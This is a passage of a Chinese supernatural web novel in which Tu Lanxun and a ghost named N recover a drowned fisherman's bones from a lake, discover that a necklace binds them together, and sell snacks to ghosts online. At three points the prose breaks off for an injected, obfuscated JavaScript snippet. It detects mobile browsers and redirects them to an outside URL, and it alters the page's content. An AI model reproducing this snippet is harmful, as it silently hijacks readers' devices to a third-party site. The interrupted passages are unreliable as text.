两人无表情地盯住她,独属于死者的非人感暴露无疑,一步步向她逼近。 “别过来,N,N你走远了吗……”涂蓝埙弓腰后退,踩到湖水边缘,身后黑水中探出一条手臂,攥住她垂落的手,手心相贴,湿凉包裹住她。 下一秒,涂蓝埙被骤然一拉,失去平衡栽入湖中,“噗通!” 光线倏地变暗,涌动的气泡吞没身体,涂蓝埙扑腾着四肢,奋力向上划水,可肩膀被一双大手轻轻阻住。 “呜……!”她快憋不住气,慌乱间看见身前悬浮的是N,他正阻止她上浮。 涂蓝埙挥舞着两只手打他,踢蹬乱踹,却被抬手攥住下巴,男鬼的食指和拇指骨节分明,很轻松就扣住女生的下颌,略一用力,她腮里鼓着的气被“咕”一声压出来。 预料的窒息呛水并未降临,相反,一股清流涌入肺泡,又被呼出,她能在水下呼吸了? 涂蓝埙周身覆盖着一层淡淡的光膜,就像小时候广场魔术师吹的超大泡泡,隔绝阴冷的湖水,为她带来草木味道的氧气。 是N。 他静静悬浮在涂蓝埙对面,等待她回神,他咽喉下三寸中央的皮肤内,散发着一点光,透在黑衣里,勾勒出斜下两旁的胸肌轮廓。 那是给她供氧的法门,她此刻与他的肺脏相连,涂蓝埙垂下眼睛,“谢谢。” N在水下显得更加阴白,也更加高大,那双碎裂的眼珠被水弥合,变得表面透明,这次涂蓝埙看清了他的眼底,比冷湖更幽深。 “别耽误时间。”他撤回手,声音直接钻入涂蓝埙脑海。 N径直朝下方游去,涂蓝埙跟了上去,她是会一点潜水的,但N潜泳的姿态实在太好看了。 他没有采用任何一种专业动作,潜泳像飞翔一样自如,衣衫笼笼,腰腹窄紧,肩臂贲张有力,人如一尾海神化身的鱼,仿佛天生属于水泽。 N握住涂蓝埙的手腕,将她向下带去,这下她连打腿都不用了,直接挂在N身上,飞速穿越更黑暗的湖水。 光线幽微,水冷如冰,涂蓝埙心中愈发不安,可能最近撞鬼次数多了,她对阴森死气非常敏锐,而此时此刻,湖底的死气浓度让人一身鸡皮疙瘩,有痛苦的情绪在水中流淌。 最诡异的是,刚入水时周围还有游鱼,可越往深处,鱼的影子就越稀少,好像湖中生灵都退避深水区。 到最后能见度骤降,除了N圈在她腕上的手,涂蓝埙连自己的脚都看不太清,只感觉不断有滑溜溜的东西袭击她的腰后和颈侧,不知是水流还是乱撞的小鱼。 “呃……”下方的水波中,忽然飘过一张扭曲苍白的笑脸,宛如融化于水的一团蜡,离去和出现一样迅速。 涂蓝埙浑身一激灵,那鬼脸正好闪现在N带她的路径上,她生理性地一抖胳膊,竟挣脱了N的束缚。 光线实在太暗了,铺天盖地的幽灰色,她乱挥两下,竟再捞不到N的手,两人失散了。 “N?”她悄声说,不敢让怪东西听见,可没人回应。 她呼吸急促起来,努力让自己冷静,只是不知是湖底作祟,还是N赋予的光膜的效果,涂蓝埙对重力的感应被严重削弱,换句话说,她找不到哪是上方了,就连吐个气泡试试都做不到。 涂蓝埙感觉背后有东西,惊喜回头,看到的却是那张苍白的笑脸,它在暗水中若隐若现,黑洞洞的眼睛盯着她。 再然后,苍白笑脸的嘴角越裂越开,最终五官被一张开到极点的巨口取代,上下牙膛超过一百八十度,喷吐一条尖长黑舌,青蛙吃水蚤似的朝她咬过来。 不要过来!涂蓝埙拼命划水,在没参照物的水底好像游不出距离,她从裤袋里揪出钥匙,卡进指缝,用力攥拳,暴露冲外的金属尖端对准鬼口。 她吓得全身发抖,但是打定主意,就算是死到临头,也要给这家伙来一下。 带她来湖边的N更是要几下有几下! 眼看两排巨齿就要啮住涂蓝埙,她猛然挥拳,鬼口骤然僵住战栗,发出撕心裂肺的尖鸣,声音几乎穿透涂蓝埙耳膜,难道打成了? 那条黑舌扭动着从鬼口探出,肌肉蠕蠕,竟是朝涂蓝埙卷来,上面附着浓黑死气,太快了,她反应不及—— “停止。”冷淡的男声在前方响起。 涂蓝埙看过去,N不知何时出现在鬼口旁侧,手臂挡在它与涂蓝埙之间,他明明是人形,压迫感却远胜过巨大鬼口。 后者的腮侧有一道洞穿裂伤,边缘覆盖冰碴,可见口腔和舌边,显然是N刚刚所为。 鬼口不甘嘶鸣,颤抖退去,可那条长黑舌头竟不老实地如箭矢钻出,竟想趁N不注意,直刺涂蓝埙这唯一活人,舌尖还挂着一滴贪婪的涎水。 腥臭味道钻入鼻腔,涂蓝埙躲不开,她面前的水体竟然开始结冰,黑舌的动作慢了下来,“放肆。” 就在这个空档,N骤然闪现在她身前,隔绝黑舌继续进攻,水波柔和地将涂蓝埙向后带了一段,远离那张鬼口。 N则踩上黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184559|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舌尖端,以比它回缩更快的速度向前,几乎是瞬间到达鬼口边。 鬼口打着哆嗦想逃,N两手上下抓住鬼口边缘,强行将鬼口上下合拢,就像甩上一道门,“嘭!” 黑色衣料下的背肌一振一缩,鬼口的两排牙齿重重咬断不及收回的黑舌,那半截东西很快化为黑气,消散在湖底。 鬼口无声尖叫起来,带动水流嗡震,又被N横睨一眼,这才安静下来,扭曲化为一个灰绿色的人形。 只是人形,涂蓝埙能看到,它通身蒙着一层灰中泛绿的蜡质,头是光秃秃的一颗绿球,没有眼睛、耳朵和鼻子,嘴唇也消失了,露出两排与鬼口一样的牙齿。 同样被鱼吃掉的,还有他的手指和脚趾,以及股沟区的柔软皮肤。身份已经很明显,是沉于湖底的溺尸鬼魂。 涂蓝埙被吓得一缩,赶紧往N的方向游了游,生怕这里又冒出一只别的鬼。但她刚游出两步,发现自己多虑了。 ——四面八方,有大约七八只水鬼瘫在水中,身上或多或少带凝着冰碴的伤,对着N的方向颤抖不已。 原来短暂脱离她的两分钟里,N去解决湖里的地头蛇们了。毗邻城市的水域什么都缺,就是不缺每年淹死的人,他们最知道湖里的事情。 “第一个问题。”N环顾那些很害怕但又不敢离开的鬼,掷出冷冷一句,“三年前,这片湖有两名钓鱼者坠落,他们的尸骨在哪?” 一片沉寂,涂蓝埙见缝插针,“是雨天掉下来的哦。” 其中一个烂得只剩半边身子,看上去死掉最久的鬼魂,指了指某一方向。 “谢谢。”N对半边身子说。 他继续开口,目光扫过之处,水鬼们瑟瑟发抖,“第二个问题。” “你们中间,是谁杀了他们两个。” 水鬼们齐齐摇头——特指大多数有头的,涂蓝埙能看出他们没骗人,恰恰相反,他们甚至不敢直视半边身子所指的方向。那里一定就是刘伯伯所说的占领他尸骨的大恶鬼。 驱走那些水鬼后,N带涂蓝埙向远处游去,他的声音低哑传来,却不意外,“你怎么判断老刘死在雨天。” 涂蓝埙很老实,“昨晚我就注意到他的裤腿沾了黄泥,泥点溅得很高,这不明摆着嘛。不过他死因不是失足?是被鬼害了?” “凶手不一定是鬼,至少当时不一定是。”似乎因为她的推理,N愿意多说两句话,他用手圈住一条掠过的小鱼,垂眸看了两秒,又松手放走。 “怎么讲呢?”涂蓝埙问。 N没看她,只是说,“不是说过,当时掉下来的除了老刘,还有另一名钓鱼者吗。” 刘伯伯是被另一个钓鱼的同伴害死的?后者也跌入湖中淹死,这何尝不是报应。 只是他为什么死了变成鬼也要禁锢刘伯伯的尸骨,难道是以这种手段不让刘伯伯安息,这什么仇什么怨啊。 N一言不发,带着涂蓝埙朝水鬼所指的方向游去。 12. 12 他们来到湖底,涂蓝埙说:“可是那什么都没有。” 这里能见度低到极点,水体幽暗灰绿,N在涂蓝埙旁边是一道模糊的黑影。他们面朝的方向空荡荡,只有水草的影子。 没有鬼,更没有所谓钓鱼者的尸骨。 一只透明的片状物出现在涂蓝埙手中,是个单片眼镜,N声音低哑,“用这个看,站着别动他就看不见你,情况有变的话,尽量别让他出现在你身后。” N独自游向空地中央,涂蓝埙将眼镜举起,那里的景象再度变化。两具骸骨被泥沙掩埋一半,轮廓影影绰绰,无数黑色死气缠绕在表面,就是它们掩盖了骸骨。 调整镜片角度,涂蓝埙倏地一惊,骸骨附近站着另一个人,或者说鬼。 那鬼的样貌没有杂鱼水鬼们可怖,保持着刚死的样子,一身钓鱼服装,皮肤青肿,眼珠因为溺死而明显凸出,正转向靠近过去的N。 N悬停在水中,“张兴旺,我来取刘茂盛的尸骨。” 名叫张兴旺的水鬼眯眼看向N,他的眼球可能与眼皮分别太久,闭不上眼,看着倒像一颗快被挤出壳的荔枝,他嘶哑地笑出一口黄牙,“我见过你,你是那边的人,后来死了,年纪轻轻死得比我还早。” 他的目光转向四周,从涂蓝埙身上扫过,并未聚焦。 但张兴旺也不是好糊弄的,他在这湖底盘踞已久,每道水流都比儿子还亲,他的面皮肉眼可见开始腐烂,眼睛白如死鱼,怨力朝四面八方向外射出,带起一道道水箭。 涂蓝埙捂着嘴一动不敢动,可脚下泥沙颤抖起来,鱼骨和坠于湖底的残钩破网浮出,附近有一只大河蚌张开硬壳,开合着,恰好朝她的脚踝咬过来。 那河蚌的壳破了洞,蚌肉已经腐烂发絮,含着黑泥,显然是早死了的。 剧痛从踝骨扩散,涂蓝埙忍住痛叫的反射,可到底脚底挪动,身形在水波中显现出来。 “嘿嘿,你带了活人,还是个小姑娘。”张兴旺兴奋地说,“我们做个交易怎么样?” 他的话还没说完,N已经消失在原地,一只戴黑皮手套的手朝张兴旺抓去。 N的力量明显不是张兴旺能抵抗的,但后者滑溜如泥鳅,总是在逃出一段后,又被N猎到抓住,他俩的形影在水底交替消失,涂蓝埙的单片眼镜很快失去追踪。 她紧张地四下巡视,N提醒过,尽量不要让张兴旺站到自己身后。 就连N自己,刚刚在武力压制张兴旺的时候,也在避免背对甚至侧对他。 “找我呢,小姑娘?”油滑的声音忽然出现在她肩膀后面。 涂蓝埙的反应很快,没有下意识往前跑,而是以最快速度把身体扭过来,正面朝向张兴旺,一边倒蹬向后游。 她当然快不过张兴旺,但还有更快的。涂蓝埙都没看清N的影子,他就从旁侧倏然冲出,如高速汽车般撞上张兴旺,活生生在她眼前,将被挟成一道残影的张兴旺卷走了。 “你在找死。” 骨骼碎裂的声音不断响起,张兴旺几乎成了N手里的一团,让涂蓝埙想起经常刷到的捏捏。 “你想要刘茂盛的尸骨?哈哈哈哈……”张兴旺变形的笑声响起,“做梦吧!” 一团黑气在水底炸开,张兴旺的身形瞬间爆裂,中间逸出一道白光,朝掩埋尸骨的位置冲去,“我就是引爆阴魂,也要在你面前毁掉它!” N紧追在白光之后,逐渐接近,但还是差了一步,张兴旺的白光正待毁去两具尸骸,然后,他伸出手—— 湖底泥沙一片平整,刚刚还埋在那的人骨无影无踪,有人把它们偷走了! 涂蓝埙费力地拖着两具骨骸,在泥沙地行走,幸而尸骨大多被渔网鱼线缠结,但她还是拖得很艰难。 水体阻力太大,尸骨又沉重不堪,她看上去就像一条用触腕拖拽椰壳的愚蠢章鱼! 涂蓝埙心中气愤极了,盯着那两具人类尸骸,暗暗脑补:一具是N,另一具也是N。 稍远处,张兴旺的怒吼响彻水底,又被N一把摁灭,白光彻底消散,这只盘踞湖中的恶水鬼永别人世了。 回到岸上后,涂蓝埙难得小发雷霆,表现为站在一边不肯帮N挪动两具尸骸。当然,N也没让她搬,两堆人骨头自动悬浮在身后,飘向停车场位置。 如果这时有外人看见,该是多么邪典的场景。 涂蓝埙身后传来动静,那对冲锋衣情侣站在湖边,“先生,我们什么时候能离开?” N的表情很淡漠,“再等等,就快到你们了。” 其中的女孩闻言欣喜,对涂蓝埙甜甜一笑,再不是之前鬼里鬼气的样子,涂蓝埙人都傻了,冲锋衣情侣鬼竟然是N的人。 他们之前就是故意吓唬她,让她不得不下湖的,太恶劣了。 # 银灰捷达开上返程,涂蓝埙握着方向盘,两堆尸骨中的一堆放在后座,另一堆扔进后备箱,她猜前一堆是刘伯伯。 啊,既怕警察拦路检查,又希望被查一查呢。 都快开回便利店,她憋了半天终于憋出一句,“你为什么去哪都非得带我啊?” 是因为有人观看他碾压别鬼,会更爽么?她恶意推测。 N看她一眼,“有别的原因,但主要因为你的项链。” 项链?那不是个废品么,样式也普通。 涂蓝埙没懂,仍坚持,“你喜欢我送你,麻烦以后把它当成我带在身边吧。” N看她一眼,碎裂眼珠折射的天光略有角度差异,造成一种星芒般的错觉。 车子缓缓停住,涂蓝埙甚至都没踩刹车,两人在公路边下车,她不知道N要做什么。 “站着别动。”N说,他朝远离涂蓝埙的方向走去。 他的背影越缩越小,逐渐变成不如拇指长,而且还在继续向前。就当涂蓝埙以为他在委婉地骂她时,一股无形的推力作用在她全身。 涂蓝埙整个人不受控制地往前滑,她抓住公路侧栏,掌心摩擦过粗糙漆面,如同一只被强制向前拖行的猫。 “啊啊啊啊啊啊停下————” 而当N停下来时,那股拖拽她的力也消失了。 N一瞬间回到涂蓝埙身边,她惊魂未定,念头闪过几轮,终于发现了问题,“你的意思是,咱俩绑定了?” 她说完才意识到自己说了什么,整张脸冰冻住,手指在两人之间比比划 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184560|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 划,她将链子从衣领扯出,“是,是这条项链搞的?” 金属在天光下反射冷光,涂蓝埙人都傻了,那天晚上项链驱鬼不是没有效果,只不过作用方向不对,误打误撞把她和N绑定了?! 涂蓝埙想哭,“咱们能分开的最远距离是多少?” “二十米。”N回答,“精确数字是20.22米。” 所以不是N想赖在便利店和她身边不走,是他目前走不了。 两人回到便利店的一路上都沉默着,涂蓝埙一时接受不了自己将和厉鬼绑定在二十米内,虽然N长得很养眼,比绝大多数模特明星都英俊,但这……这侵犯隐私了! 如果她以后交了男朋友,做些亲密的事情,N也会在二十米之内听吗。 她偷看一眼N,高挺有致的侧颜在光线下沉默着,每一根睫毛都很分明,他的脸是冷的,而她忽然想起一个问题。 “如果你离不开我二十米以内,那么你送给我的这套衣服。”涂蓝埙揪了揪身上的卫衣,“是哪来的?” N冷漠,“叫人送来的。” 她觉得N对“人”的定义和她可能不太一样。 不过担忧减轻了几分,涂蓝埙还是先努力在N和N的熟人们手中活下来吧。 # 回到便利店后,没过几个小时,刘茂盛就匆忙出现在店门口。 尸骨被N放在一楼库房里,此刻搬到收银台边,打开拉链手提袋,刘茂盛老泪都快流下来。 一个鬼对着自己生前的骨头哭泣,这场面要多诡异有多诡异。而且涂蓝埙看见,有绿莹莹的小光点从尸骨中上升,融入到刘茂盛鬼魂的皮肤。 等到一切结束,她才问道:“绿光是怎么回事?” “是记忆。”N没说话,回答她的是刘茂盛,他紧握双拳低着头,整个鬼的气势暴烈许多,哑着嗓子,“鬼刚死需要一段时间醒来,醒来后的第一感觉是茫然,且会丢失掉一部分重要的记忆。” 涂蓝埙迅速联想,“丢在尸骨中了?不过丢的是怎样的记忆呢?” 刘茂盛的眼泪随着点头落在膝上,“大家都不一样。最多的鬼丢失了对死因的记忆,还有的是最心爱的家人,也听说过有鬼生前比较敬业,忘记的是生前的职业和职务。” “只有触碰到自己的尸体,拿回那一部分记忆,才能怨力消解,最终重新归于世界的一部分。” 也就是说,丢了一部分记忆的鬼很难解脱。 涂蓝埙狐疑地看了眼N,他不是游戏中来的BOSS吗,怎么会认识刘茂盛和张兴旺这种一看就是现实人的鬼。 而且N好像很了解他俩的死——张兴旺在人背后的力量速度,要比在其他方向强很多倍。 很难不怀疑刘茂盛就是在钓鱼时,被张兴旺从背后推入青山湖溺死的,而张兴旺可能也是脚滑,跟着掉下去了。 “那刘伯伯,您丢的记忆是什么呢?”她问。 刘茂盛顿了下,看向N的表情比之前多了些东西,他似乎更为紧绷,徐徐说道:“是我的死亡原因。” “不是直接死因。我想起了我当初卷进了什么事,那个人才派张兴旺来杀我。我全都想起来了!” 13. 13 刘茂盛没继续说下去,但他自己知道,N好像也知道。 他笑眯眯从兜里拿出一块饼干似的东西,觑了眼N的脸色,递给涂蓝埙,“小老板,这次多谢你啦。” 那是块金币,和N的那块样式类似,只是因磨损而陈旧,但难掩金子的光辉。涂蓝埙没敢接。 刘茂盛此时更像个活人,还是年节里给小辈塞红包的那种,他故意把脸一板,斥道: “干了活就得收钱,小老板得有些做生意的规矩。快拿着,别害怕。” 涂蓝埙别过头,一手连连摇摆,另一手撑开衣兜,金币沉甸甸地落进去,坠得她嘴角疯狂上扬。 嘿,又是小十万到账。 她还有些担心,这帮鬼哪来这么多钱?不会是盗墓了吧。真的合法合理吗。 “给你就收下。”N淡声。 刘茂盛拎起自己的尸骨告辞,说要找个地方埋掉,涂蓝埙灵机一动,追上去给他塞一袋面包饮料,他笑着摇摇头,“谢谢小老板,不过我吃不了这些。” 涂蓝埙不解,N不是能吃活人的食物吗,汽水泡面和面包他都吃挺快的。 N在两人背后出声:“你们的饮食对鬼魂来说,很难尝出味道,而且不解渴饱腹,和没吃一样。” 涂蓝埙挑了下眉,潜台词是,那你还挑泡面和面包的口味,好装。 三柱线香忽然出现在N手中,无火自燃,袅袅青烟飘出,他轻抬手腕,让香雾钻进装零食的袋子,与里面的面包和火腿肠们缭绕在一起。 食物没有任何变化,但刘茂盛看过去的眼神变得渴望,他忍不住咽了口唾沫。 涂蓝埙赶紧把他盯了最久的塑封鸡腿撕开,递过去,搭上一瓶茶饮料,“您吃您吃。” 刘茂盛再顾不得其他,撕扯着鸡腿肉,大口咀嚼吞咽,吃得满嘴都是油,三两下就嗦得只剩一根骨头,连卤软的棒骨头都咬碎吃了。 他的眼睛有些湿润,涂蓝埙把那一整袋食物都放在他手里。 “自从死掉,好久没吃过饱饭了。谢谢,谢谢。” 刘茂盛这次没再推辞,他摸遍全身,想再寻出点值钱的东西来报答,可惜已经没有了,“要是小老板能额外对鬼魂出售食物,那真是……” 他说到一半,看着N的脸色戛然而止,自知失言。双方就此告别,刘茂盛笑着消失在天光下。 便利店只剩下两人,涂蓝埙托着腮,“刘伯伯这就去投胎了吗。” “哪有这么好。他的事还没完。而且我们这种鬼,没有投胎的福分。”N坐在阴影处,收拢三支残香,又翻开那本无字书,垂眸淡漠。 他对自己真狠,涂蓝埙就没见过他给自己的食物烧香,想着就问道:“这种香很贵吗?” N那夜镇压众鬼前,也在便利店门口点过一种香,那种香的气味清幽内敛,如同松竹掩映下古墓前的石屏风;而这种能赋灵食物气味的,则甘甜温暖,带着淡淡的悲伤之意,好似家人的思念。 涂蓝埙猜测,前一种是遮蔽某种存在的香,后一种则是祭奠用的香。 “不贵。一块金币三支。” 她差点从凳上掉下去,一块同等重量的金币大约值十万块,三万多一支香,刚才N烧掉一支半,那就是接近五万块,这也太奢侈了。 所以刘茂盛说到一半就截住了,原来是成本太高。 不过每个鬼都像N那么有钱的话,好像也不是不可以哦。 涂蓝埙环视店内,赋灵一条货架大约要用一支香,她飞速计算成本利润,发现就算打通渠道,想要不亏本的商品定价,也比景区乐园还贵了八百个机场店。 谁会买这么贵的东西啊?这不是真骗鬼吗! 涂蓝埙决定先掌握货源,“N先生,请问这种香是游戏里的道具吗?” 她早就察觉到了,N和刘茂盛给她的金饼干,其实就是游戏金币的外观。 面前容貌精致非人,冷削到如同诡异成年人偶的男鬼,不就是游戏最终BOSS吗。 “是。”N又开启单字模式。 涂蓝埙的眼睛亮起,嘴角上扬扩大,那N岂不是很方便进货了? 而且游戏里和地球的货币汇率不同,说不定纯金币在他们那,就和钢镚差不多呢! 不,不行。 涂蓝埙抱住自己的头,蔫头耷脑趴在货架上,不能再加深和N的合作了,原来不是想好一赚到那只钱夹的利润量,就还钱给N,撇清关系的吗。 “我要联系一个朋友。”她打报告。那个朋友有金店的渠道,可以用还不错的价格回收黄金,不会被监管或追踪。 N没管就是答应,涂蓝埙赶快发消息,朋友回得很及时,发个地址,叫涂蓝埙随时过去,报他的名字。 既然开不了死人的店,那就先开活人店,涂蓝埙敲动手机,在网上注册的实体分销店很快通过审核。 她想了想,没有直接用24h阳光便利店的名字,恰好朋友发的表情包是棵微笑的西蓝花,她就顺手敲下“西蓝花商店”这几个字。 趁着审核时间,涂蓝埙点了点店里的货,把剩下的都录入电子货架,又清出一堆过期的短保商品,扔进纸箱,放在店门边,准备过些时候丢掉。 最后还差物流,如果有人在网店下单,她会需要快递员来取货。可现在的问题是,没有快递员愿意来开发区,这里的网点全都撤走了。 算了,如果有人下单,她就打好包送到开发区外寄出。 涂蓝埙忙东忙西的时候,N一直待在阴影中,如同一座俊美的雕塑,只是目光会随着她动作而隐晦移动。 他轻转那只碎裂的眼珠,锁定她,但因瞳孔被裂纹遮蔽而没有焦距感,嗓音冷哑,“那是谁?” 没头没脑的一句话,但涂蓝埙听懂了,指的是回收金子的那位朋友。 “是我的一位朋友。”她坦然。 N的存在飘忽如香烛,“他给你的价格高于地下黄金流通价,利润空间很小,不符合常理,只有一种解释……他有其他所图。” 他主要想说的就是最后一句吧,不过涂蓝埙感谢他的提醒,她笑笑,“别担心,是很靠谱的朋友啦,否则也没法做这行,他不会把我们的事说出去的。” N面无表情,一丝冷嗤划过思绪,微妙地出现难以分辨的燥意——他解读为因客观合作方过于轻信,而产生的将会被拖后腿的厌烦感。 明明有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184561|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副机灵相,竟然也会办傻事,一味信任不知真面目的所谓朋友,却不会动脑筋思考什么才是真正靠得住的,殊不知这样只会害了她。 虽然和他没关系,但她的措辞也令他不满意。 他们之间……有什么事吗? 提起金币,涂蓝埙忽然想不通一件事,轻轻问出来,“对了,刘伯伯也有金币,那他也是《灰色城窟》里的角色啰?可他的尸骨明明在地球。” 这很怪,虚拟角色怎么会有尸骨呢?而且退一万步讲,N又为什么去送无头人的颅骨,他们之间很难存在凶杀之外的关系,可他不像是会挑衅警方的那类诡异。 良久,阴影中传来N的声音,“正在与地球融合的,不止是游戏角色,还有游戏世界。” 他用了融合这个中性词,而非大家更常用的降临或侵袭。 涂蓝埙自然会脑补,既然N这个游戏BOSS都能和土著鬼老刘做熟人,那刘茂盛的金币,肯定是从别的游戏角色那得来的,说不定角色鬼和土著鬼之间还有社交体系呢。 有社交就有流通,有流通就有市场,可惜鬼魂客户群她不能也不敢开拓,涂蓝埙叹口气。 收到网点审核通过的信息,涂蓝埙马不停蹄,第二步就是宣传,今天不是买流量推广的时机,她打开几个本大区的网络论坛,决定先自己发个帖打广告。 其中,就有阅览过电脑女鬼爆料帖的那个本省论坛。 涂蓝埙注册账号,编辑好帖子,刚要发出去,却发现论坛界面颜色不太对。 原本应该是水粉色,又俗套又有点温馨古早,但现在变成淡青蓝色,阴凉又沉闷的调子。 变化是从点击注册账号开始的,她还以为是欢迎新用户的彩蛋,没想到退出来还是青蓝色,整个论坛都凉飕飕的,首页帖子也和之前不一样。 【求问,鹿城环村的野坟堆最近有人上供吗?(我饿很久了但麸质过敏)】 【二十位数冥币换黄金,楼主自愿亏一成,云北大学城附近速来。】 【鬼市什么时候开?都被封几十年了,想买点东西也太费力,还不如去摇号投胎!!】 涂蓝埙眼皮一抽,她误入某种爱好者聚集地了吗。 青蓝色论坛的角落有个按钮,是香烛形状,点一下就自动跳回粉色论坛,那些怪里怪气的帖子也瞬间被清空刷新,变成正常的本省旅游攻略,还有出二手家具的标题。 等等,她没在这里发现她编辑的网店广告。 涂蓝埙预感大事不妙,抖着手指跳回青蓝色论坛,发现自己刚发的帖子飘在最上方。 【Hello!网络店铺“西蓝花商店”开业,超多便利店美食+潮流好物,拼团更好价,本省内运费有优惠!】 她想删帖,一点进去回复数就刷新成3,不少青绿色用户在下面问怎么买,还有的已经找到她的网店,在抱怨价格没有换算成鬼魂内部汇率。 但可能就如青绿论坛抱怨过的那样,这些用户群买东西很不方便。所以有人闪电在涂蓝埙的网店下单了。 填写的地址在本地,是鹿城公墓的一个位置。 涂蓝埙呆滞了。 他们……应该是活人吧? 14. 14 涂蓝埙很希望对方在恶作剧,但心中隐隐的预感告诉她并非如此。刚从殡仪馆和青山湖回来,她不想去和尸体有关的地方。 网店刚开,吃差评大幅影响信誉度,她点开后台,和买家沟通,请对方取消订单。 但打字的时候,涂蓝埙没用“收货地址是公墓”这条理由,而是谨慎道: “很抱歉,您下单的巧克力和洁牙套装都没货啦,亲亲这边可以配合您先退款,补货会第一时间通知您。” 假的,其实洁牙套装在仓库箱角下压了一套,要债人没能搜罗到它。 客户聊天界面显示了很久“对方正在输入”,最后弹出一句长长的惊人的话。 “可是我真的很想刷牙呜呜呜呜!这里晚上风好大,牙齿痛痛,以前我的牙刷叫这个名字的,可我妈妈和爸爸三年没来看我了![大哭][大哭]” 对方的回复缺少条理,情绪非常丰沛,用词偏低幼化,像个小孩子。 涂蓝埙可以哄骗对方取消订单,然后甩在脑后,再也不理会这件事,可第二条消息很快发来。 “老板你没货了吗?那好吧,我取消订单,真对不起耽误您的时间,进货请告诉我,这里很冷,我很需要同时有巧克力和牙刷,否则会蛀牙。” 嘶,好乖。 如果这人恶作剧的目的是让她半夜睡不着觉,那已经成功了。 涂蓝埙飞快敲字,“你目前在收货地吗?拍张右手比‘OK’的照片给我。” 那边竟然真的拍了,过了三分钟,没有照片发过来,但却自动弹出视频邀请。涂蓝埙心头一颤,看向N,阴影中已经空荡一片,那家伙不知何时连着椅子消失了。 她将手机拿远一点,遮住前置摄像头,按下接听,另一边很卡顿,电流声滋滋地破碎,像在耳边揉一团旧报纸。画面缓慢加载。 不是鬼图,也不是黄图,是山青云秀的鹿城公墓。一只圆滚滚的小手伸出来比“OK”,再下面是一排灰白色墓碑,那些石碑僵硬得不行,和那小手皮肤一样毫无血色。 镜头很模糊,涂蓝埙看不太清中央那座碑的字,那里还贴了张黑白色的小照片,小如石碑上的一颗麻点,更看不清。 忽然,一张影影绰绰的脸戳在镜头前,占满整个手机屏幕,能隐约看到一张圆脸,半透明,腮上抹了黑灰,瞪圆了黑眼珠往屏幕这边瞧。 “是老板吗,您好……”声音是颗粒感的嘶哑,尾音稍稚,带些回声,像是掺了砂砾磨碎的嫩笋,听得人一耳朵牙碜。 不会真是个小孩子鬼吧?涂蓝埙心中的恐惧感弱了些,仅剩的多半来自那把哑嗓子,太怪了。 她正犹豫要不要讲话,忽地,视频毫无预兆地掐断了,手机跳转回店铺聊天界面,但并没有视频通话的记录存在。 一转身,涂蓝埙瞧见背后多了道影子,正一起俯视她的手机屏幕,且毫不引为失礼,将目光收回那双碎玻璃珠似的眼睛里,没有一丝情绪泻出来。 “是你掐断了我俩的通话?” N身上那股墓园草木味淡淡悠悠,“不是。是对面的原因。小鬼力弱,维持不了电子信号的联系。” 他转身,涂蓝埙追上去,不停地问:“对面——那个论坛里真的都是鬼?那个小鬼给我打视频,和你给我打电话一个原理吗?你们发动技能需要媒介,还是直接钻进手机或者信号频道里?” N一个问题都没回答,默默凝视过来,面无表情,涂蓝埙自动闭上嘴巴。 这一天发生的事太奇怪了,自己闯入鬼的世界,并且正常和鬼产生交集,这比被迫见鬼要难忘得多,涂蓝埙忍不住竖起一根手指,表示自己再问最后一个问题。 N掀了掀眼皮,表示疑问,这个角度看他的脸有点诡魅。 涂蓝埙一鼓作气开口:“你能陪我去公墓看看吗?” # N说能。 涂蓝埙以为会像青山湖之行一样,明天起个大早,万万没想到,N的能是说走就走即刻出发。 银灰捷达疾驰在高架桥上,掠过淡青色和淡橙色的天际,就像行驶在洄游季鲑鱼的头和肚子之间,一路开往鹿城公墓 涂蓝埙难得将车驶这么快,稍开一缝窗户,倒像在兜晚风,可她是为了赶紧到公墓,别耽搁到天彻底黑,否则她害怕。 N照常坐在副驾驶,后座放了一塑料袋的巧克力糖,一盒洁牙套装,还有一支旧胶柄钳子。 胶柄钳子从仓库中搜罗出来,是涂蓝埙为自己兜里那块金饼备的,刘茂盛那块。刘茂盛的话也装在她身上。 “香带了吗?”涂蓝埙看向侧面,N在渐浓的夕阳中更像剪影,剪影的嘴动了动,“你倒是热心,但我没答应卖给你。” 他俩出门前,涂蓝埙单方面谈的条件是,N那三支半截香卖一支给她,涂蓝埙把大金币剪下一小块作为报偿,市价行情,非常合理。 “小女孩欸,小女孩想吃糖有什么错呢,她还会主动刷牙呢。”涂蓝埙打哈哈。 其实她还打着别的算盘,几块巧克力能费多少香?稍微点一下,熏两秒就成了,剩下小半截熄了还能再用用。世界上有钱人有多少,有钱鬼就有多少。 她没指望小女孩鬼能掏出什么报酬,只要后面能碰上一单回本的富鬼就行了。 